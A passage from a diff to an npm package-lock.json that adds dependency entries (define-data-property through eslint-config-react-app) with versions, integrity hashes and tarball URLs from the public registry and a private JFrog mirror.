"sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "dependencies": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-newline": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==" + }, + "node_modules/detect-port-alt": { + "version": "1.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/detect-port-alt/-/detect-port-alt-1.1.6.tgz", + "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==", + "dependencies": { + "address": "^1.0.1", + "debug": "^2.6.0" + }, + "bin": { + "detect": "bin/detect-port", + "detect-port": "bin/detect-port" + }, + "engines": { + "node": ">= 4.2.1" + } + }, + "node_modules/detect-port-alt/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/detect-port-alt/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==" + }, + "node_modules/diff-sequences": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/diff-sequences/-/diff-sequences-27.5.1.tgz", + "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==" + }, + "node_modules/dns-equal": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg==" + }, + "node_modules/dns-packet": { + "version": "5.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dns-packet/-/dns-packet-5.6.0.tgz", + "integrity": "sha512-rza3UH1LwdHh9qyPXp8lkwpjSNk/AMD3dPytUoRoqnypDUhY0xvbdmVhWOfxO68frEfV9BU8V12Ez7ZsHGZpCQ==", + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==" + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==" + }, + "node_modules/domexception": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domexception/-/domexception-2.0.1.tgz", + "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", + "dependencies": { + "webidl-conversions": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/domexception/node_modules/webidl-conversions": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dotenv": { + "version": "10.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==", + "engines": { + "node": ">=10" + } + }, + "node_modules/dotenv-expand": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==" + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "node_modules/ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.13", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.13.tgz", + "integrity": "sha512-lbBcvtIJ4J6sS4tb5TLp1b4LyfCdMkwStzXPyAgVgTRAsep4bvrAGaBOP7ZJtQMNJpSQ9SqG4brWOroNaQtm7Q==" + }, + "node_modules/emittery": { + "version": "0.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emittery/-/emittery-0.8.1.tgz", + "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==" + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.17.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", + "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-stack-parser": { + "version": "2.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "dependencies": { + "stackframe": "^1.3.4" + } + }, + "node_modules/es-abstract": { + "version": "1.21.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-abstract/-/es-abstract-1.21.2.tgz", + "integrity": "sha512-y/B5POM2iBnIxCiernH1G7rC9qQoM77lLIMQLuob0zhp8C56Po81+2Nj0WFKnd0pNReDTnkYryc+zhOzpEIROg==", + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "es-set-tostringtag": "^2.0.1", + "es-to-primitive": "^1.2.1", + "function.prototype.name": "^1.1.5", + "get-intrinsic": "^1.2.0", + "get-symbol-description": "^1.0.0", + "globalthis": "^1.0.3", + "gopd": "^1.0.1", + "has": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "is-array-buffer": "^3.0.2", + "is-callable": "^1.2.7", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-typed-array": "^1.1.10", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.3", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.4.3", + "safe-regex-test": "^1.0.0", + "string.prototype.trim": "^1.2.7", + "string.prototype.trimend": "^1.0.6", + "string.prototype.trimstart": "^1.0.6", + "typed-array-length": "^1.0.4", + "unbox-primitive": "^1.0.2", + "which-typed-array": "^1.1.9" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-array-method-boxes-properly": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz", + "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==" + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-get-iterator": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-get-iterator/-/es-get-iterator-1.1.3.tgz", + "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "is-arguments": "^1.1.1", + "is-map": "^2.0.2", + "is-set": "^2.0.2", + "is-string": "^1.0.7", + "isarray": "^2.0.5", + "stop-iteration-iterator": "^1.0.0" + } + }, + "node_modules/es-module-lexer": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-module-lexer/-/es-module-lexer-1.3.0.tgz", + "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==" + }, + "node_modules/es-set-tostringtag": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-set-tostringtag/-/es-set-tostringtag-2.0.1.tgz", + "integrity": "sha512-g3OMbtlwY3QewlqAiMLI47KywjWZoEytKr8pf6iTC8uJq5bIAH52Z9pnQ8pVL6whrCto53JZDuUIsifGeLorTg==", + "dependencies": { + "get-intrinsic": "^1.1.3", + "has": "^1.0.3", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz", + "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==", + "dependencies": { + "has": "^1.0.3" + } + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/escodegen": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escodegen/-/escodegen-2.0.0.tgz", + "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2", + "optionator": "^0.8.1" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/escodegen/node_modules/levn": { + "version": "0.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/levn/-/levn-0.3.0.tgz", + "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/escodegen/node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/escodegen/node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/escodegen/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/escodegen/node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/eslint": { + "version": "8.43.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint/-/eslint-8.43.0.tgz", + "integrity": "sha512-aaCpf2JqqKesMFGgmRPessmVKjcGXqdlAYLLC3THM8t5nBRZRQ+st5WM/hoJXkdioEXLLbXgclUpM0TXo5HX5Q==", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.4.0", + "@eslint/eslintrc": "^2.0.3", + "@eslint/js": "8.43.0", + "@humanwhocodes/config-array": "^0.11.10", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "ajv": "^6.10.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.0", + "eslint-visitor-keys": "^3.4.1", + "espree": "^9.5.2", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.1", + "strip-ansi": "^6.0.1", + "strip-json-comments": "^3.1.0", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/eslint-config-react-app": { + "version": "7.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz", + "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/eslint-parser": "^7.16.3", + "@rushstack/eslint-patch": "^1.1.0", + "@typescript-eslint/eslint-plugin": "^5.5.0", + 